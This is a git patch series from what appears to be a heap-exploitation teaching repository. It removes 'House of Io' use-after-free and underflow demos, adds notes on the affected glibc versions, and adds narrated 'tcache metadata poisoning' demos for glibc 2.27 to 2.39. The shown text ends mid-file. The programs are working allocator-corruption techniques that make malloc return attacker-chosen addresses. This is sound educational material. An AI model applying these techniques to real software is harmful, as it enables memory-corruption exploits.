glibc_2.33/house_of_io_free.c | 93 ------------------- glibc_2.33/house_of_io_underflow.c | 69 -------------- 9 files changed, 486 deletions(-) rename glibc_2.31/{house_of_io_uaf.c => house_of_io.c} (100%) delete mode 100644 glibc_2.31/house_of_io_free.c delete mode 100644 glibc_2.31/house_of_io_underflow.c rename glibc_2.32/{house_of_io_uaf.c => house_of_io.c} (100%) delete mode 100644 glibc_2.32/house_of_io_free.c delete mode 100644 glibc_2.32/house_of_io_underflow.c rename glibc_2.33/{house_of_io_uaf.c => house_of_io.c} (100%) delete mode 100644 glibc_2.33/house_of_io_free.c delete mode 100644 glibc_2.33/house_of_io_underflow.c diff --git a/glibc_2.31/house_of_io_uaf.c b/glibc_2.31/house_of_io.c similarity index 100% rename from glibc_2.31/house_of_io_uaf.c rename to glibc_2.31/house_of_io.c diff --git a/glibc_2.31/house_of_io_free.c b/glibc_2.31/house_of_io_free.c deleted file mode 100644 index fc5f506..0000000 --- a/glibc_2.31/house_of_io_free.c +++ /dev/null @@ -1,93 +0,0 @@ -#include -#include -#include -#include -#include - -// House of Io - Use after free Variant -// ==================================== -// -// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ -// -// Tested on libc versions 2.31, 2.32 and 2.33. -// -// House of Io makes use of the fact, that when freeing a chunk into the tcache -// the chunk will receive a pointer to the tcache management struct which has -// been allocated beforehand. This pointer is the tcache->key entry of a free'd -// tcache chunk. There are three different versions of this attack and all work -// even with safe-link enabled, as the tcache-key pointer, and more importantly -// the pointers in the tcache_perthread_struct, are not protected. - -unsigned long global_var = 1; - -struct overlay { - uint64_t *next; - uint64_t *key; -}; - -struct tcache_perthread_struct { - uint16_t counts[64]; - uint64_t entries[64]; -}; - -int main() { - setbuf(stdin, NULL); - setbuf(stdout, NULL); - - puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" - "gets a pointer to the tcache management struct inserted at the\n" - "second slot.\n"); - - puts( - "This variant can be used when either the order of free's for a struct\n" - "with multiple pointers is incorrect or the second slot in a free'd\n" - "struct can be free'd again. This allows us to free the\n" - "`tcache_perthread_struct` and gain access to it, by allocating it\n" - "again. With access to the management struct we can insert a malicious\n" - "pointer into a tcache and allocate from that bucket to get the pointer\n" - "from malloc.\n"); - - printf("Specifically we get a pointer to the `global_var` at %p returned to\n" - "us from malloc.\n\n", - &global_var); - - puts("First we have to allocate a struct, that has a pointer at offset\n" - "+0x08.\n"); - struct overlay *ptr = malloc(sizeof(struct overlay)); - - ptr->next = malloc(0x10); - ptr->key = malloc(0x10); - - puts("Now we simulate a wrongful order of free's which leads to freeing the\n" - "management struct. The first free puts the pointer to the tcache\n" - "struct into ptr->key, which also gets free'd afterwards.\n"); - free(ptr); - free(ptr->key); - - puts("With the management struct free'd we can allocate it again and get\n" - "access to it.\n"); - struct tcache_perthread_struct *management_struct = malloc(0x285); - - puts( - "Now that we have access to management struct, we first have to set the\n" - "count of the tcache bin, from which we want to allocate our target\n" - "chunk, to one.\n"); - management_struct->counts[0] = 1; - - puts( - "In the next step we insert the pointer to the global variable into the\n" - "tcache.\n"); - management_struct->entries[0] = (uint64_t)&global_var; - - printf( - "After the write we have placed a pointer to the global variable into\n" - "the tcache [ %p ].\n\n", - management_struct->entries[0]); - - puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" - "to our target location.\n"); - uint64_t *evil_chunk = malloc(0x10); - - assert(evil_chunk == &global_var); - return 0; -} diff --git a/glibc_2.31/house_of_io_underflow.c b/glibc_2.31/house_of_io_underflow.c deleted file mode 100644 index e19afb9..0000000 --- a/glibc_2.31/house_of_io_underflow.c +++ /dev/null @@ -1,69 +0,0 @@ -#include -#include -#include -#include -#include - -// House of Io - Underflow Variant -// =============================== -// -// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ -// -// Tested on libc versions 2.31, 2.32 and 2.33. -// -// House of Io makes use of the fact, that when freeing a chunk into the tcache -// the chunk will receive a pointer to the tcache management struct which has -// been allocated beforehand. This pointer is the tcache->key entry of a free'd -// tcache chunk. There are three different versions of this attack and all work -// even with safe-link enabled, as the tcache-key pointer, and more importantly -// the pointers in the tcache_perthread_struct, are not protected. - -unsigned long global_var = 1; - -struct tcache_perthread_struct { - uint16_t counts[64]; - uint64_t entries[64]; -}; - -int main() { - setbuf(stdin, NULL); - setbuf(stdout, NULL); - - puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" - "gets a pointer to the tcache management struct inserted at the\n" - "second slot.\n"); - - puts( - "This variant only works if we can underflow an access on a heap chunk,\n" - "to get access to the management struct on the heap. We then overwrite\n" - "a pointer in a tcache bin to point to our target.\n"); - - printf("Specifically we get a pointer to the `global_var` at %p returned to\n" - "us from malloc.\n\n", - &global_var); - - puts( - "First we allocate a chunk on the heap. We will underflow an access to\n" - "this chunk. In this example the victim chunk comes directly after the\n" - "tcache management struct, but in theory it can be everywhere on the\n" - "heap, as the first allocation will always be the management chunk, and\n" - "we assume an arbitrary underflow.\n"); - uint64_t *victim_chunk = malloc(0x10); - - puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" - "their bins come later in the array and thus are closer to our victim\n" - "chunk.\n"); - uint64_t *free_chunk = malloc(0x390); - free(free_chunk); - - puts("Then we underflow the victim chunk to exactly where the bin to our\n" - "free'd chunk is and write our target address there.\n"); - *(victim_chunk - 10) = (uint64_t)&global_var; - - puts("If we now allocate the same size of the free'd chunk again, we get a\n" - "chunk located at our target.\n"); - uint64_t *evil_chunk = malloc(0x390); - - assert(evil_chunk == &global_var); - return 0; -} diff --git a/glibc_2.32/house_of_io_uaf.c b/glibc_2.32/house_of_io.c similarity index 100% rename from glibc_2.32/house_of_io_uaf.c rename to glibc_2.32/house_of_io.c diff --git a/glibc_2.32/house_of_io_free.c b/glibc_2.32/house_of_io_free.c deleted file mode 100644 index fc5f506..0000000 --- a/glibc_2.32/house_of_io_free.c +++ /dev/null @@ -1,93 +0,0 @@ -#include -#include -#include -#include -#include - -// House of Io - Use after free Variant -// ==================================== -// -// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ -// -// Tested on libc versions 2.31, 2.32 and 2.33. -// -// House of Io makes use of the fact, that when freeing a chunk into the tcache -// the chunk will receive a pointer to the tcache management struct which has -// been allocated beforehand. This pointer is the tcache->key entry of a free'd -// tcache chunk. There are three different versions of this attack and all work -// even with safe-link enabled, as the tcache-key pointer, and more importantly -// the pointers in the tcache_perthread_struct, are not protected. - -unsigned long global_var = 1; - -struct overlay { - uint64_t *next; - uint64_t *key; -}; - -struct tcache_perthread_struct { - uint16_t counts[64]; - uint64_t entries[64]; -}; - -int main() { - setbuf(stdin, NULL); - setbuf(stdout, NULL); - - puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" - "gets a pointer to the tcache management struct inserted at the\n" - "second slot.\n"); - - puts( - "This variant can be used when either the order of free's for a struct\n" - "with multiple pointers is incorrect or the second slot in a free'd\n" - "struct can be free'd again. This allows us to free the\n" - "`tcache_perthread_struct` and gain access to it, by allocating it\n" - "again. With access to the management struct we can insert a malicious\n" - "pointer into a tcache and allocate from that bucket to get the pointer\n" - "from malloc.\n"); - - printf("Specifically we get a pointer to the `global_var` at %p returned to\n" - "us from malloc.\n\n", - &global_var); - - puts("First we have to allocate a struct, that has a pointer at offset\n" - "+0x08.\n"); - struct overlay *ptr = malloc(sizeof(struct overlay)); - - ptr->next = malloc(0x10); - ptr->key = malloc(0x10); - - puts("Now we simulate a wrongful order of free's which leads to freeing the\n" - "management struct. The first free puts the pointer to the tcache\n" - "struct into ptr->key, which also gets free'd afterwards.\n"); - free(ptr); - free(ptr->key); - - puts("With the management struct free'd we can allocate it again and get\n" - "access to it.\n"); - struct tcache_perthread_struct *management_struct = malloc(0x285); - - puts( - "Now that we have access to management struct, we first have to set the\n" - "count of the tcache bin, from which we want to allocate our target\n" - "chunk, to one.\n"); - management_struct->counts[0] = 1; - - puts( - "In the next step we insert the pointer to the global variable into the\n" - "tcache.\n"); - management_struct->entries[0] = (uint64_t)&global_var; - - printf( - "After the write we have placed a pointer to the global variable into\n" - "the tcache [ %p ].\n\n", - management_struct->entries[0]); - - puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" - "to our target location.\n"); - uint64_t *evil_chunk = malloc(0x10); - - assert(evil_chunk == &global_var); - return 0; -} diff --git a/glibc_2.32/house_of_io_underflow.c b/glibc_2.32/house_of_io_underflow.c deleted file mode 100644 index e19afb9..0000000 --- a/glibc_2.32/house_of_io_underflow.c +++ /dev/null @@ -1,69 +0,0 @@ -#include -#include -#include -#include -#include - -// House of Io - Underflow Variant -// =============================== -// -// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ -// -// Tested on libc versions 2.31, 2.32 and 2.33. -// -// House of Io makes use of the fact, that when freeing a chunk into the tcache -// the chunk will receive a pointer to the tcache management struct which has -// been allocated beforehand. This pointer is the tcache->key entry of a free'd -// tcache chunk. There are three different versions of this attack and all work -// even with safe-link enabled, as the tcache-key pointer, and more importantly -// the pointers in the tcache_perthread_struct, are not protected. - -unsigned long global_var = 1; - -struct tcache_perthread_struct { - uint16_t counts[64]; - uint64_t entries[64]; -}; - -int main() { - setbuf(stdin, NULL); - setbuf(stdout, NULL); - - puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" - "gets a pointer to the tcache management struct inserted at the\n" - "second slot.\n"); - - puts( - "This variant only works if we can underflow an access on a heap chunk,\n" - "to get access to the management struct on the heap. We then overwrite\n" - "a pointer in a tcache bin to point to our target.\n"); - - printf("Specifically we get a pointer to the `global_var` at %p returned to\n" - "us from malloc.\n\n", - &global_var); - - puts( - "First we allocate a chunk on the heap. We will underflow an access to\n" - "this chunk. In this example the victim chunk comes directly after the\n" - "tcache management struct, but in theory it can be everywhere on the\n" - "heap, as the first allocation will always be the management chunk, and\n" - "we assume an arbitrary underflow.\n"); - uint64_t *victim_chunk = malloc(0x10); - - puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" - "their bins come later in the array and thus are closer to our victim\n" - "chunk.\n"); - uint64_t *free_chunk = malloc(0x390); - free(free_chunk); - - puts("Then we underflow the victim chunk to exactly where the bin to our\n" - "free'd chunk is and write our target address there.\n"); - *(victim_chunk - 10) = (uint64_t)&global_var; - - puts("If we now allocate the same size of the free'd chunk again, we get a\n" - "chunk located at our target.\n"); - uint64_t *evil_chunk = malloc(0x390); - - assert(evil_chunk == &global_var); - return 0; -} diff --git a/glibc_2.33/house_of_io_uaf.c b/glibc_2.33/house_of_io.c similarity index 100% rename from glibc_2.33/house_of_io_uaf.c rename to glibc_2.33/house_of_io.c diff --git a/glibc_2.33/house_of_io_free.c b/glibc_2.33/house_of_io_free.c deleted file mode 100644 index fc5f506..0000000 --- a/glibc_2.33/house_of_io_free.c +++ /dev/null @@ -1,93 +0,0 @@ -#include -#include -#include -#include -#include - -// House of Io - Use after free Variant -// ==================================== -// -// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ -// -// Tested on libc versions 2.31, 2.32 and 2.33. -// -// House of Io makes use of the fact, that when freeing a chunk into the tcache -// the chunk will receive a pointer to the tcache management struct which has -// been allocated beforehand. This pointer is the tcache->key entry of a free'd -// tcache chunk. There are three different versions of this attack and all work -// even with safe-link enabled, as the tcache-key pointer, and more importantly -// the pointers in the tcache_perthread_struct, are not protected. - -unsigned long global_var = 1; - -struct overlay { - uint64_t *next; - uint64_t *key; -}; - -struct tcache_perthread_struct { - uint16_t counts[64]; - uint64_t entries[64]; -}; - -int main() { - setbuf(stdin, NULL); - setbuf(stdout, NULL); - - puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" - "gets a pointer to the tcache management struct inserted at the\n" - "second slot.\n"); - - puts( - "This variant can be used when either the order of free's for a struct\n" - "with multiple pointers is incorrect or the second slot in a free'd\n" - "struct can be free'd again. This allows us to free the\n" - "`tcache_perthread_struct` and gain access to it, by allocating it\n" - "again. With access to the management struct we can insert a malicious\n" - "pointer into a tcache and allocate from that bucket to get the pointer\n" - "from malloc.\n"); - - printf("Specifically we get a pointer to the `global_var` at %p returned to\n" - "us from malloc.\n\n", - &global_var); - - puts("First we have to allocate a struct, that has a pointer at offset\n" - "+0x08.\n"); - struct overlay *ptr = malloc(sizeof(struct overlay)); - - ptr->next = malloc(0x10); - ptr->key = malloc(0x10); - - puts("Now we simulate a wrongful order of free's which leads to freeing the\n" - "management struct. The first free puts the pointer to the tcache\n" - "struct into ptr->key, which also gets free'd afterwards.\n"); - free(ptr); - free(ptr->key); - - puts("With the management struct free'd we can allocate it again and get\n" - "access to it.\n"); - struct tcache_perthread_struct *management_struct = malloc(0x285); - - puts( - "Now that we have access to management struct, we first have to set the\n" - "count of the tcache bin, from which we want to allocate our target\n" - "chunk, to one.\n"); - management_struct->counts[0] = 1; - - puts( - "In the next step we insert the pointer to the global variable into the\n" - "tcache.\n"); - management_struct->entries[0] = (uint64_t)&global_var; - - printf( - "After the write we have placed a pointer to the global variable into\n" - "the tcache [ %p ].\n\n", - management_struct->entries[0]); - - puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" - "to our target location.\n"); - uint64_t *evil_chunk = malloc(0x10); - - assert(evil_chunk == &global_var); - return 0; -} diff --git a/glibc_2.33/house_of_io_underflow.c b/glibc_2.33/house_of_io_underflow.c deleted file mode 100644 index e19afb9..0000000 --- a/glibc_2.33/house_of_io_underflow.c +++ /dev/null @@ -1,69 +0,0 @@ -#include -#include -#include -#include -#include - -// House of Io - Underflow Variant -// =============================== -// -// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ -// -// Tested on libc versions 2.31, 2.32 and 2.33. -// -// House of Io makes use of the fact, that when freeing a chunk into the tcache -// the chunk will receive a pointer to the tcache management struct which has -// been allocated beforehand. This pointer is the tcache->key entry of a free'd -// tcache chunk. There are three different versions of this attack and all work -// even with safe-link enabled, as the tcache-key pointer, and more importantly -// the pointers in the tcache_perthread_struct, are not protected. - -unsigned long global_var = 1; - -struct tcache_perthread_struct { - uint16_t counts[64]; - uint64_t entries[64]; -}; - -int main() { - setbuf(stdin, NULL); - setbuf(stdout, NULL); - - puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" - "gets a pointer to the tcache management struct inserted at the\n" - "second slot.\n"); - - puts( - "This variant only works if we can underflow an access on a heap chunk,\n" - "to get access to the management struct on the heap. We then overwrite\n" - "a pointer in a tcache bin to point to our target.\n"); - - printf("Specifically we get a pointer to the `global_var` at %p returned to\n" - "us from malloc.\n\n", - &global_var); - - puts( - "First we allocate a chunk on the heap. We will underflow an access to\n" - "this chunk. In this example the victim chunk comes directly after the\n" - "tcache management struct, but in theory it can be everywhere on the\n" - "heap, as the first allocation will always be the management chunk, and\n" - "we assume an arbitrary underflow.\n"); - uint64_t *victim_chunk = malloc(0x10); - - puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" - "their bins come later in the array and thus are closer to our victim\n" - "chunk.\n"); - uint64_t *free_chunk = malloc(0x390); - free(free_chunk); - - puts("Then we underflow the victim chunk to exactly where the bin to our\n" - "free'd chunk is and write our target address there.\n"); - *(victim_chunk - 10) = (uint64_t)&global_var; - - puts("If we now allocate the same size of the free'd chunk again, we get a\n" - "chunk located at our target.\n"); - uint64_t *evil_chunk = malloc(0x390); - - assert(evil_chunk == &global_var); - return 0; -} From 48fa02a1df790c9394e99c44ec79a16953e97acf Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 26 Jun 2025 18:00:15 +0200 Subject: [PATCH 07/11] add information about the libc versions and the constraints of house of io --- glibc_2.31/house_of_io.c | 9 +++++++++ glibc_2.32/house_of_io.c | 9 +++++++++ glibc_2.33/house_of_io.c | 9 +++++++++ 3 files changed, 27 insertions(+) diff --git a/glibc_2.31/house_of_io.c b/glibc_2.31/house_of_io.c index 88a8b9d..6d5f87e 100644 --- a/glibc_2.31/house_of_io.c +++ b/glibc_2.31/house_of_io.c @@ -17,6 +17,15 @@ // tcache chunk. There are three different versions of this attack and all work // even with safe-link enabled, as the tcache-key pointer, and more importantly // the pointers in the tcache_perthread_struct, are not protected. +// +// House of Io only works in libc versions 2.29 - 2.33, because in these +// versions the key of a tcache entry is the pointer to the tcache management +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning +// attack. +// +// However the exploit primitives are very constrained as stated in the source. +// Negative overflows are very rare and so is the needed order of specific frees +// for the double free variant. This use after free is a bit more realistic. unsigned long global_var = 1; diff --git a/glibc_2.32/house_of_io.c b/glibc_2.32/house_of_io.c index 88a8b9d..6d5f87e 100644 --- a/glibc_2.32/house_of_io.c +++ b/glibc_2.32/house_of_io.c @@ -17,6 +17,15 @@ // tcache chunk. There are three different versions of this attack and all work // even with safe-link enabled, as the tcache-key pointer, and more importantly // the pointers in the tcache_perthread_struct, are not protected. +// +// House of Io only works in libc versions 2.29 - 2.33, because in these +// versions the key of a tcache entry is the pointer to the tcache management +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning +// attack. +// +// However the exploit primitives are very constrained as stated in the source. +// Negative overflows are very rare and so is the needed order of specific frees +// for the double free variant. This use after free is a bit more realistic. unsigned long global_var = 1; diff --git a/glibc_2.33/house_of_io.c b/glibc_2.33/house_of_io.c index 88a8b9d..6d5f87e 100644 --- a/glibc_2.33/house_of_io.c +++ b/glibc_2.33/house_of_io.c @@ -17,6 +17,15 @@ // tcache chunk. There are three different versions of this attack and all work // even with safe-link enabled, as the tcache-key pointer, and more importantly // the pointers in the tcache_perthread_struct, are not protected. +// +// House of Io only works in libc versions 2.29 - 2.33, because in these +// versions the key of a tcache entry is the pointer to the tcache management +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning +// attack. +// +// However the exploit primitives are very constrained as stated in the source. +// Negative overflows are very rare and so is the needed order of specific frees +// for the double free variant. This use after free is a bit more realistic. unsigned long global_var = 1; From 4c58b8d978a5d51d06021e99acc19725d9065838 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 26 Jun 2025 19:29:47 +0200 Subject: [PATCH 08/11] add tcache metadata poisoning attack examples to all relavant libc versions --- glibc_2.27/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.31/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.32/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.33/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.34/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.35/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.36/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.37/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.38/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ glibc_2.39/tcache_metadata_poisoning.c | 59 ++++++++++++++++++++++++++ 10 files changed, 590 insertions(+) create mode 100644 glibc_2.27/tcache_metadata_poisoning.c create mode 100644 glibc_2.31/tcache_metadata_poisoning.c create mode 100644 glibc_2.32/tcache_metadata_poisoning.c create mode 100644 glibc_2.33/tcache_metadata_poisoning.c create mode 100644 glibc_2.34/tcache_metadata_poisoning.c create mode 100644 glibc_2.35/tcache_metadata_poisoning.c create mode 100644 glibc_2.36/tcache_metadata_poisoning.c create mode 100644 glibc_2.37/tcache_metadata_poisoning.c create mode 100644 glibc_2.38/tcache_metadata_poisoning.c create mode 100644 glibc_2.39/tcache_metadata_poisoning.c diff --git a/glibc_2.27/tcache_metadata_poisoning.c b/glibc_2.27/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.27/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.31/tcache_metadata_poisoning.c b/glibc_2.31/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.31/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.32/tcache_metadata_poisoning.c b/glibc_2.32/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.32/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.33/tcache_metadata_poisoning.c b/glibc_2.33/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.33/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.34/tcache_metadata_poisoning.c b/glibc_2.34/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.34/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.35/tcache_metadata_poisoning.c b/glibc_2.35/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.35/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + 